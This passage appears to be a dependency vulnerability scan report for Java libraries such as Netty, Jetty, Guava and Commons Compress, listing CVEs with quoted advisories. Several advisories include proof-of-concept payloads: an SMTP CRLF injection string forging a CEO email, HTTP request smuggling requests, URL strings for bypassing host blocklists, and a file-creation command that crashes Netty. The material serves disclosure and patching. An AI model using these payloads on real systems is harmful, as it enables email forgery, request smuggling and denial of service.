[CodedInputStreamTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/core/src/test/java/com/google/protobuf/CodedInputStreamTest.java)) that identify the specific inputs that exercise this parsing weakness. + +### Remediation and Mitigation +We have been working diligently to address this issue and have released a mitigation that is available now. Please update to the latest available versions of the following packages: +* protobuf-java (3.25.5, 4.27.5, 4.28.2) +* protobuf-javalite (3.25.5, 4.27.5, 4.28.2) +* protobuf-kotlin (3.25.5, 4.27.5, 4.28.2) +* protobuf-kotlin-lite (3.25.5, 4.27.5, 4.28.2) +* com-protobuf [JRuby gem only] (3.25.5, 4.27.5, 4.28.2) + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 com.fasterxml.jackson.core/jackson-core 2.13.4 (maven) + +pkg:maven/com.fasterxml.jackson.core/jackson-core@2.13.4
+high 8.7: CVE--2025--52999 Stack-based Buffer Overflow + + + + + + + + +
Affected range<2.15.0
Fixed version2.15.0
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.030%
EPSS Percentile8th percentile
+ +
Description +
+ +### Impact +With older versions of jackson-core, if you parse an input file and it has deeply nested data, Jackson could end up throwing a StackoverflowError if the depth is particularly large. + +### Patches +jackson-core 2.15.0 contains a configurable limit for how deep Jackson will traverse in an input document, defaulting to an allowable depth of 1000. Change is in https://github.com/FasterXML/jackson-core/pull/943. jackson-core will throw a StreamConstraintsException if the limit is reached. +jackson-databind also benefits from this change because it uses jackson-core to parse JSON inputs. + +### Workarounds +Users should avoid parsing input files from untrusted sources. + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 io.netty/netty-codec-smtp 4.1.96.Final (maven) + +pkg:maven/io.netty/netty-codec-smtp@4.1.96.Final
+high 7.7: CVE--2025--59419 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') + + + + + + + + +
Affected range<4.1.128.Final
Fixed version4.1.128.Final
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
EPSS Score3.189%
EPSS Percentile87th percentile
+ +
Description +
+ +### Summary +An SMTP Command Injection (CRLF Injection) vulnerability in Netty's SMTP codec allows a remote attacker who can control SMTP command parameters (e.g., an email recipient) to forge arbitrary emails from the trusted server. This bypasses standard email authentication and can be used to impersonate executives and forge high-stakes corporate communications. + +### Details +The root cause is the lack of input validation for Carriage Return (\r) and Line Feed (\n) characters in user-supplied parameters. + +The vulnerable code is in io.netty.handler.codec.smtp.DefaultSmtpRequest, where parameters are directly concatenated into the SMTP command string. For example, when SmtpRequests.rcpt(recipient) is called, a malicious recipient string containing CRLF sequences can inject a new, separate SMTP command. + +Because the injected commands are sent from the server's trusted IP, any resulting emails will likely pass SPF and DKIM checks, making them appear legitimate to the victim's email client. + +### PoC +A minimal PoC involves passing a crafted string containing CRLF sequences to any `SmtpRequest` that accepts user-controlled parameters. + +**1. Malicious Payload** + +The core of the exploit is the payload, where new SMTP commands are injected into a parameter. + +```java +// The legitimate recipient is followed by an injected email sequence +String injected_recipient = "legit-recipient@example.com\r\n" + + "MAIL FROM:\r\n" + + "RCPT TO:\r\n" + + "DATA\r\n" + + "From: ceo@trusted-domain.com\r\n" + + "To: victim@anywhere.com\r\n" + + "Subject: Urgent: Phishing Email\r\n" + + "\r\n" + + "This is a forged email that will pass authentication checks.\r\n" + + ".\r\n" + + "QUIT\r\n"; +``` + +**2. Triggering the Vulnerability** + +The vulnerability is triggered when this payload is used to create an SMTP request. + +```java +// The Netty SMTP codec will fail to sanitize this input +SmtpRequest maliciousRequest = SmtpRequests.rcpt(injected_recipient); + +// When this request is sent to an SMTP server, the injected commands +// will be executed, sending a forged email. +channel.writeAndFlush(maliciousRequest); +``` + +**3. Full Reproduction Steps** + +A complete, runnable PoC is available as a GitHub Gist to demonstrate the full attack flow against a local SMTP server + +* **Full PoC Code:** https://gist.github.com/DepthFirstDisclosures/ddacca28cb94b48fa8ab998cef59ed8c + +To run the full PoC: + +1. **Set up a local SMTP server.** The easiest way is using MailHog: + * On macOS: `brew install mailhog && mailhog` + * Using Docker: `docker run -p 1025:1025 -p 8025:8025 mailhog/mailhog` +2. **Run the PoC code.** The code will connect to the SMTP server at `localhost:1025` and send the malicious payload. +3. **Verify the result.** Open the MailHog web UI at `http://localhost:8025`. You will see the forged email sent to `victim@anywhere.com` from `ceo@trusted-domain.com`. + +### Impact +This is a SMTP Command Injection vulnerability. It impacts any application using `netty-codec-smtp` to construct SMTP requests where an attacker can control or influence any of the SMTP string parameters (e.g., `from`, `recipient`, `helo` hostname). + +The primary impacts are: +* **Economic Manipulation & Disinformation:** Attackers can forge emails from high-value targets (e.g., corporate executives, government officials) and send them to journalists, financial institutions, or the public. A fraudulent email announcing false financial results, a fake merger, or a security breach could be used to manipulate stock prices or cause significant economic disruption. +* **Sophisticated Phishing:** Attackers can send high-fidelity phishing emails that bypass email authentication (SPF/DKIM) and appear to come from a trusted source, making them highly likely to deceive users. + +
+
+
+
critical: 0 high: 0 medium: 3 low: 0 org.apache.commons/commons-compress 1.23.0 (maven) + +pkg:maven/org.apache.commons/commons-compress@1.23.0
+medium 6.7: CVE--2024--26308 Allocation of Resources Without Limits or Throttling + + + + + + + + +
Affected range>=1.21
<1.26.0
Fixed version1.26.0
CVSS Score6.7
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.448%
EPSS Percentile63rd percentile
+ +
Description +
+ +Allocation of Resources Without Limits or Throttling vulnerability in Apache Commons Compress. This issue affects Apache Commons Compress: from 1.21 before 1.26. + +Users are recommended to upgrade to version 1.26, which fixes the issue. + +
+
+ +medium 5.9: CVE--2024--25710 Loop with Unreachable Exit Condition ('Infinite Loop') + + + + + + + + +
Affected range>=1.3
<1.26.0
Fixed version1.26.0
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:N/A:H
EPSS Score0.019%
EPSS Percentile4th percentile
+ +
Description +
+ +Loop with Unreachable Exit Condition ('Infinite Loop') vulnerability in Apache Commons Compress. This issue affects Apache Commons Compress: from 1.3 through 1.25.0. + +Users are recommended to upgrade to version 1.26.0 which fixes the issue. + +
+
+ +medium 5.5: CVE--2023--42503 Improper Input Validation + + + + + + + + +
Affected range>=1.22
<1.24.0
Fixed version1.24.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
EPSS Score0.011%
EPSS Percentile1st percentile
+ +
Description +
+ +Improper Input Validation, Uncontrolled Resource Consumption vulnerability in Apache Commons Compress in TAR parsing.This issue affects Apache Commons Compress: from 1.22 before 1.24.0. + +Users are recommended to upgrade to version 1.24.0, which fixes the issue. + +A third party can create a malformed TAR file by manipulating file modification times headers, which when parsed with Apache Commons Compress, will cause a denial of service issue via CPU consumption. + +In version 1.22 of Apache Commons Compress, support was added for file modification times with higher precision (issue # COMPRESS-612 [1]). The format for the PAX extended headers carrying this data consists of two numbers separated by a period [2], indicating seconds and subsecond precision (for example “1647221103.5998539”). The impacted fields are “atime”, “ctime”, “mtime” and “LIBARCHIVE.creationtime”. No input validation is performed prior to the parsing of header values. + +Parsing of these numbers uses the BigDecimal [3] class from the JDK which has a publicly known algorithmic complexity issue when doing operations on large numbers, causing denial of service (see issue # JDK-6560193 [4]). A third party can manipulate file time headers in a TAR file by placing a number with a very long fraction (300,000 digits) or a number with exponent notation (such as “9e9999999”) within a file modification time header, and the parsing of files with these headers will take hours instead of seconds, leading to a denial of service via exhaustion of CPU resources. This issue is similar to CVE-2012-2098 [5]. + +[1]: https://issues.apache.org/jira/browse/COMPRESS-612 +[2]: https://pubs.opengroup.org/onlinepubs/9699919799/utilities/pax.html#tag_20_92_13_05 +[3]: https://docs.oracle.com/javase/8/docs/api/java/math/BigDecimal.html +[4]: https://bugs.openjdk.org/browse/JDK-6560193 +[5]: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2098 + +Only applications using CompressorStreamFactory class (with auto-detection of file types), TarArchiveInputStream and TarFile classes to parse TAR files are impacted. Since this code was introduced in v1.22, only that version and later versions are impacted. + +
+
+
+
critical: 0 high: 0 medium: 2 low: 1 com.google.guava/guava 14.0.1 (maven) + +pkg:maven/com.google.guava/guava@14.0.1
+medium 5.9: CVE--2018--10237 Deserialization of Untrusted Data + + + + + + + + +
Affected range>=11.0
<24.1.1-android
Fixed version24.1.1-android
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score3.259%
EPSS Percentile87th percentile
+ +
Description +
+ +Unbounded memory allocation in Google Guava 11.0 through 24.x before 24.1.1 allows remote attackers to conduct denial of service attacks against servers that depend on this library and deserialize attacker-provided data, because the AtomicDoubleArray class (when serialized with Java serialization) and the CompoundOrdering class (when serialized with GWT serialization) perform eager allocation without appropriate checks on what a client has sent and whether the data size is reasonable. + +
+
+ +medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions + + + + + + + + +
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.071%
EPSS Percentile22nd percentile
+ +
Description +
+ +Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. + +Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. + +
+
+ +low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding + + + + + + + + +
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
+ +
Description +
+ +A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. + + +
+
+
+
critical: 0 high: 0 medium: 2 low: 1 org.eclipse.jetty/jetty-webapp 9.4.51.v20230217 (maven) + +pkg:maven/org.eclipse.jetty/jetty-webapp@9.4.51.v20230217
+medium 5.3: CVE--2023--40167 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range>=9.0.0
<9.4.52
Fixed version9.4.52.v20230823, 10.0.16, 11.0.16
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
EPSS Score5.222%
EPSS Percentile90th percentile
+ +
Description +
+ +### Impact + +Jetty accepts the '+' character proceeding the content-length value in a HTTP/1 header field. This is more permissive than allowed by the RFC and other servers routinely reject such requests with 400 responses. There is no known exploit scenario, but it is conceivable that request smuggling could result if jetty is used in combination with a server that does not close the connection after sending such a 400 response. + +### Workarounds + +There is no workaround as there is no known exploit scenario. + +### Original Report + +[RFC 9110 Secion 8.6](https://www.rfc-editor.org/rfc/rfc9110#section-8.6) defined the value of Content-Length header should be a string of 0-9 digits. However we found that Jetty accepts "+" prefixed Content-Length, which could lead to potential HTTP request smuggling. + +Payload: + +``` + POST / HTTP/1.1 + Host: a.com + Content-Length: +16 + Connection: close + ​ + 0123456789abcdef +``` + +When sending this payload to Jetty, it can successfully parse and identify the length. + +When sending this payload to NGINX, Apache HTTPd or other HTTP servers/parsers, they will return 400 bad request. + +This behavior can lead to HTTP request smuggling and can be leveraged to bypass WAF or IDS. + +
+
+ +medium 4.3: CVE--2023--41900 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range>=9.4.21
<9.4.52
Fixed version9.4.52.v20230823, 10.0.16, 11.0.16
CVSS Score4.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.131%
EPSS Percentile33rd percentile
+ +
Description +
+ +If a Jetty `OpenIdAuthenticator` uses the optional nested `LoginService`, and that `LoginService` decides to revoke an already authenticated user, then the current request will still treat the user as authenticated. The authentication is then cleared from the session and subsequent requests will not be treated as authenticated. + +So a request on a previously authenticated session could be allowed to bypass authentication after it had been rejected by the `LoginService`. + +
+
+ +low 3.5: CVE--2023--36479 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range>=9.0.0
<9.4.52
Fixed version9.4.52.v20230823, 10.0.16, 11.0.16
CVSS Score3.5
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:L/A:N
EPSS Score1.383%
EPSS Percentile80th percentile
+ +
Description +
+ +If a user sends a request to a `org.eclipse.jetty.servlets.CGI` Servlet for a binary with a space in its name, the servlet will escape the command by wrapping it in quotation marks. This wrapped command, plus an optional command prefix, will then be executed through a call to Runtime.exec. If the original binary name provided by the user contains a quotation mark followed by a space, the resulting command line will contain multiple tokens instead of one. For example, if a request references a binary called file” name “here, the escaping algorithm will generate the command line string “file” name “here”, which will invoke the binary named file, not the one that the user requested. + +```java +if (execCmd.length() > 0 && execCmd.charAt(0) != '"' && execCmd.contains(" ")) +execCmd = "\"" + execCmd + "\""; +``` + +
+
+
+
critical: 0 high: 0 medium: 2 low: 0 org.apache.commons/commons-configuration2 2.8.0 (maven) + +pkg:maven/org.apache.commons/commons-configuration2@2.8.0
+medium 6.9: CVE--2024--29133 Out-of-bounds Write + + + + + + + + +
Affected range>=2.0
<2.10.1
Fixed version2.10.1
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N
EPSS Score0.509%
EPSS Percentile65th percentile
+ +
Description +
+ +This Out-of-bounds Write vulnerability in Apache Commons Configuration affects Apache Commons Configuration: from 2.0 before 2.10.1. User can see this as a 'StackOverflowError' calling 'ListDelimiterHandler.flatten(Object, int)' with a cyclical object tree. +Users are recommended to upgrade to version 2.10.1, which fixes the issue. + +
+
+ +medium 6.5: CVE--2024--29131 Out-of-bounds Write + + + + + + + + +
Affected range>=2.0
<2.10.1
Fixed version2.10.1
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
EPSS Score0.203%
EPSS Percentile42nd percentile
+ +
Description +
+ +This Out-of-bounds Write vulnerability in Apache Commons Configuration affects Apache Commons Configuration: from 2.0 before 2.10.1. User can see this as a 'StackOverflowError' when adding a property in 'AbstractListDelimiterHandler.flattenIterator()'. +Users are recommended to upgrade to version 2.10.1, which fixes the issue. + +
+
+
+
critical: 0 high: 0 medium: 2 low: 0 io.netty/netty-common 4.1.96.Final (maven) + +pkg:maven/io.netty/netty-common@4.1.96.Final
+medium 5.5: CVE--2025--25193 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<4.1.118.Final
Fixed version4.1.118.Final
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.060%
EPSS Percentile19th percentile
+ +
Description +
+ +### Summary +An unsafe reading of environment file could potentially cause a denial of service in Netty. +When loaded on an Windows application, Netty attemps to load a file that does not exist. If an attacker creates such a large file, the Netty application crash. + +### Details +A similar issue was previously reported in https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv +This issue was fixed, but the fix was incomplete in that null-bytes were not counted against the input limit. + + +### PoC +The PoC is the same as for https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv with the detail that the file should only contain null-bytes; 0x00. +When the null-bytes are encountered by the `InputStreamReader`, it will issue replacement characters in its charset decoding, which will fill up the line-buffer in the `BufferedReader.readLine()`, because the replacement character is not a line-break character. + +### Impact +Impact is the same as https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv + +
+
+ +medium 5.4: CVE--2024--47535 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<=4.1.114.Final
Fixed version4.1.115.Final
CVSS Score5.4
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P
EPSS Score0.024%
EPSS Percentile5th percentile
+ +
Description +
+ +### Summary + +An unsafe reading of environment file could potentially cause a denial of service in Netty. +When loaded on an Windows application, Netty attemps to load a file that does not exist. If an attacker creates such a large file, the Netty application crash. + + +### Details + +When the library netty is loaded in a java windows application, the library tries to identify the system environnement in which it is executed. + +At this stage, Netty tries to load both `/etc/os-release` and `/usr/lib/os-release` even though it is in a Windows environment. + +1 + +If netty finds this files, it reads them and loads them into memory. + +By default : + +- The JVM maximum memory size is set to 1 GB, +- A non-privileged user can create a directory at `C:\` and create files within it. + +2 + +3 + +the source code identified : +https://github.com/netty/netty/blob/4.1/common/src/main/java/io/netty/util/internal/PlatformDependent.java + +Despite the implementation of the function `normalizeOs()` the source code not verify the OS before reading `C:\etc\os-release` and `C:\usr\lib\os-release`. + +### PoC + +Create a file larger than 1 GB of data in `C:\etc\os-release` or `C:\usr\lib\os-release` on a Windows environnement and start your Netty application. + +To observe what the application does with the file, the security analyst used "Process Monitor" from the "Windows SysInternals" suite. (https://learn.microsoft.com/en-us/sysinternals/) + +``` +cd C:\etc +fsutil file createnew os-release 3000000000 +``` + +4 + +5 + +The source code used is the Netty website code example : [Echo ‐ the very basic client and server](https://netty.io/4.1/xref/io/netty/example/echo/package-summary.html). + +The vulnerability was tested on the 4.1.112.Final version. + +The security analyst tried the same technique for `C:\proc\sys\net\core\somaxconn` with a lot of values to impact Netty but the only things that works is the "larger than 1 GB file" technique. https://github.com/netty/netty/blob/c0fdb8e9f8f256990e902fcfffbbe10754d0f3dd/common/src/main/java/io/netty/util/NetUtil.java#L186 + +### Impact + +By loading the "file larger than 1 GB" into the memory, the Netty library exceeds the JVM memory limit and causes a crash in the java Windows application. + +This behaviour occurs 100% of the time in both Server mode and Client mode if the large file exists. + +Client mode : + +6 + +Server mode : + +7 + +somaxconn : + +8 + +### Severity + +- Attack vector : "Local" because the attacker needs to be on the system where the Netty application is running. +- Attack complexity : "Low" because the attacker only need to create a massive file (regardless of its contents). +- Privileges required : "Low" because the attacker requires a user account to exploit the vulnerability. +- User intercation : "None" because the administrator don't need to accidentally click anywhere to trigger the vulnerability. Furthermore, the exploitation works with defaults windows/AD settings. +- Scope : "Unchanged" because only Netty is affected by the vulnerability. +- Confidentiality : "None" because no data is exposed through exploiting the vulnerability. +- Integrity : "None" because the explotation of the vulnerability does not allow editing, deleting or adding data elsewhere. +- Availability : "High" because the exploitation of this vulnerability crashes the entire java application. + +
+
+
+
critical: 0 high: 0 medium: 2 low: 0 org.eclipse.jetty/jetty-http 9.4.51.v20230217 (maven) + +pkg:maven/org.eclipse.jetty/jetty-http@9.4.51.v20230217
+medium 6.3: CVE--2024--6763 Improper Validation of Syntactic Correctness of Input + + + + + + + + +
Affected range>=7.0.0
<=12.0.11
Fixed version12.0.12
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score0.923%
EPSS Percentile75th percentile
+ +
Description +
+ +## Summary + +Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, `HttpURI`, for URI/URL parsing. + +The `HttpURI` class does insufficient validation on the authority segment of a URI. However the behaviour of `HttpURI` differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically `HttpURI` and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks. + +## Details + +### Affected components + +The vulnerable component is the `HttpURI` class when used as a utility class in an application. The Jetty usage of the class is not vulnerable. + +### Attack overview + +The `HttpURI` class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI. + +### Attack scenario + +A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI. + +This attack occurs when the Validator is the `org.eclipse.jetty.http.HttpURI` class and the Requester is the `Browser` (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., `http://browser.check%23%40vulndetector.com/` ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname `vulndetector.com`. + +## PoC + +payloads: + +``` +http://browser.check &@vulndetector.com/ +http://browser.check #@vulndetector.com/ +http://browser.check?@vulndetector.com/ +http://browser.check#@vulndetector.com/ +http://vulndetector.com\\/ +``` + +The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com". + +``` + +``` +A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid). + +| Invalid URI | Jetty | Chrome | +| ---------------------------------------------- | ---------------- | ------------- | +| http://browser.check &@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check | + +The problem of 302 redirect parsing in HTTP 302 Location + +| Input | Jetty | Chrome | +| ------------------------ | -------------- | ------------- | +| http://browser.check%5c/ | browser.check\ | browser.check | + +It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5]. + +## Impact + +The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to **SSRF**[1] and **URL Redirection**[2] vulnerabilities in several cases. + +## Mitigation + +The attacks outlined above rely on decoded user data being passed to the `HttpURI` class. Application should not pass decoded user data as an encoded URI to any URI class/method, including `HttpURI`. Such applications are likely to be vulnerable in other ways. +The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per [RFC9110 Section 4.2.4](https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.4). + +Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser). + +## Reference + +[1] https://cwe.mitre.org/data/definitions/918.html +[2] https://cwe.mitre.org/data/definitions/601.html + +
+
+ +medium 5.3: CVE--2023--40167 Improper Handling of Length Parameter Inconsistency + + + + + + + + +
Affected range>=9.0.0
<=9.4.51
Fixed version9.4.52
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
EPSS Score5.222%
EPSS Percentile90th percentile
+ +
Description +
+ +### Impact + +Jetty accepts the '+' character proceeding the content-length value in a HTTP/1 header field. This is more permissive than allowed by the RFC and other servers routinely reject such requests with 400 responses. There is no known exploit scenario, but it is conceivable that request smuggling could result if jetty is used in combination with a server that does not close the connection after sending such a 400 response. + +### Workarounds + +There is no workaround as there is no known exploit scenario. + +### Original Report + +[RFC 9110 Secion 8.6](https://www.rfc-editor.org/rfc/rfc9110#section-8.6) defined the value of Content-Length header should be a string of 0-9 digits. However we found that Jetty accepts "+" prefixed Content-Length, which could lead to potential HTTP request smuggling. + +Payload: + +``` + POST / HTTP/1.1 + Host: a.com + Content-Length: +16 + Connection: close + ​ + 0123456789abcdef +``` + +When sending this payload to Jetty, it can successfully parse and identify the length. + +When sending this payload to NGINX, Apache HTTPd or other HTTP servers/parsers, they will return 400 bad request. + +This behavior can lead to HTTP request smuggling and can be leveraged to bypass WAF or IDS. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 1 com.google.guava/guava 30.1.1-jre (maven) + +pkg:maven/com.google.guava/guava@30.1.1-jre
+medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions + + + + + + + + +
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.071%
EPSS Percentile22nd percentile
+ +
Description +
+ +Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. + +Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. + +
+
+ +low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding + + + + + + + + +
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
+ +
Description +
+ +A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. + + +
+
+
+
critical: 0 high: 0 medium: 1 low: 1 io.netty/netty-codec-http 4.1.96.Final (maven) + +pkg:maven/io.netty/netty-codec-http@4.1.96.Final
+medium 5.3: CVE--2024--29025 Allocation of Resources Without Limits or Throttling + + + + + + + + +
Affected range<4.1.108.Final
Fixed version4.1.108.Final
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.261%
EPSS Percentile49th percentile
+ +
Description +
+ +### Summary +The `HttpPostRequestDecoder` can be tricked to accumulate data. I have spotted currently two attack vectors + +### Details +1. While the decoder can store items on the disk if configured so, there are no limits to the number of fields the form can have, an attacher can send a chunked post consisting of many small fields that will be accumulated in the `bodyListHttpData` list. +2. The decoder cumulates bytes in the `undecodedChunk` buffer until it can decode a field, this field can cumulate data without limits + +### PoC + +Here is a Netty branch that provides a fix + tests : https://github.com/vietj/netty/tree/post-request-decoder + + +Here is a reproducer with Vert.x (which uses this decoder) https://gist.github.com/vietj/f558b8ea81ec6505f1e9a6ca283c9ae3 + +### Impact +Any Netty based HTTP server that uses the `HttpPostRequestDecoder` to decode a form. + +
+
+ +low : CVE--2025--58056 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + +
Affected range<4.1.125.Final
Fixed version4.1.125.Final
EPSS Score0.024%
EPSS Percentile6th percentile
+ +
Description +
+ +## Summary +A flaw in netty's parsing of chunk extensions in HTTP/1.1 messages with chunked encoding can lead to request smuggling issues with some reverse proxies. + +## Details +When encountering a newline character (LF) while parsing a chunk extension, netty interprets the newline as the end of the chunk-size line regardless of whether a preceding carriage return (CR) was found. This is in violation of the HTTP 1.1 standard which specifies that the chunk extension is terminated by a CRLF sequence (see the [RFC](https://datatracker.ietf.org/doc/html/rfc9112#name-chunked-transfer-coding)). + +This is by itself harmless, but consider an intermediary with a similar parsing flaw: while parsing a chunk extension, the intermediary interprets an LF without a preceding CR as simply part of the chunk extension (this is also in violation of the RFC, because whitespace characters are not allowed in chunk extensions). We can use this discrepancy to construct an HTTP request that the intermediary will interpret as one request but netty will interpret as two (all lines ending with CRLF, notice the LFs in the chunk extension): + +``` +POST /one HTTP/1.1 +Host: localhost:8080 +Transfer-Encoding: chunked + +48;\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n0 + +POST /two HTTP/1.1 +Host: localhost:8080 +Transfer-Encoding: chunked + +0 + +``` + +The intermediary will interpret this as a single request. Once forwarded to netty, netty will interpret it as two separate requests. This is a problem, because attackers can then the intermediary, as well as perform standard request smuggling attacks against other live users (see [this Portswigger article](https://portswigger.net/web-security/request-smuggling/exploiting)). + +## Impact +This is a request smuggling issue which can be exploited for bypassing front-end access control rules as well as corrupting the responses served to other live clients. + +The impact is high, but it only affects setups that use a front-end which: +1. Interprets LF characters (without preceding CR) in chunk extensions as part of the chunk extension. +2. Forwards chunk extensions without normalization. + +## Disclosure + + - This vulnerability was disclosed on June 18th, 2025 here: https://w4ke.info/2025/06/18/funky-chunks.html + +## Discussion +Discussion for this vulnerability can be found here: + - https://github.com/netty/netty/issues/15522 + - https://github.com/JLLeitschuh/unCVEed/issues/1 + +## Credit + + - Credit to @JeppW for uncovering this vulnerability. + - Credit to @JLLeitschuh at [Socket](https://socket.dev/) for coordinating the vulnerability disclosure. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 1 com.google.guava/guava 27.0-jre (maven) + +pkg:maven/com.google.guava/guava@27.0-jre
+medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions + + + + + + + + +
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
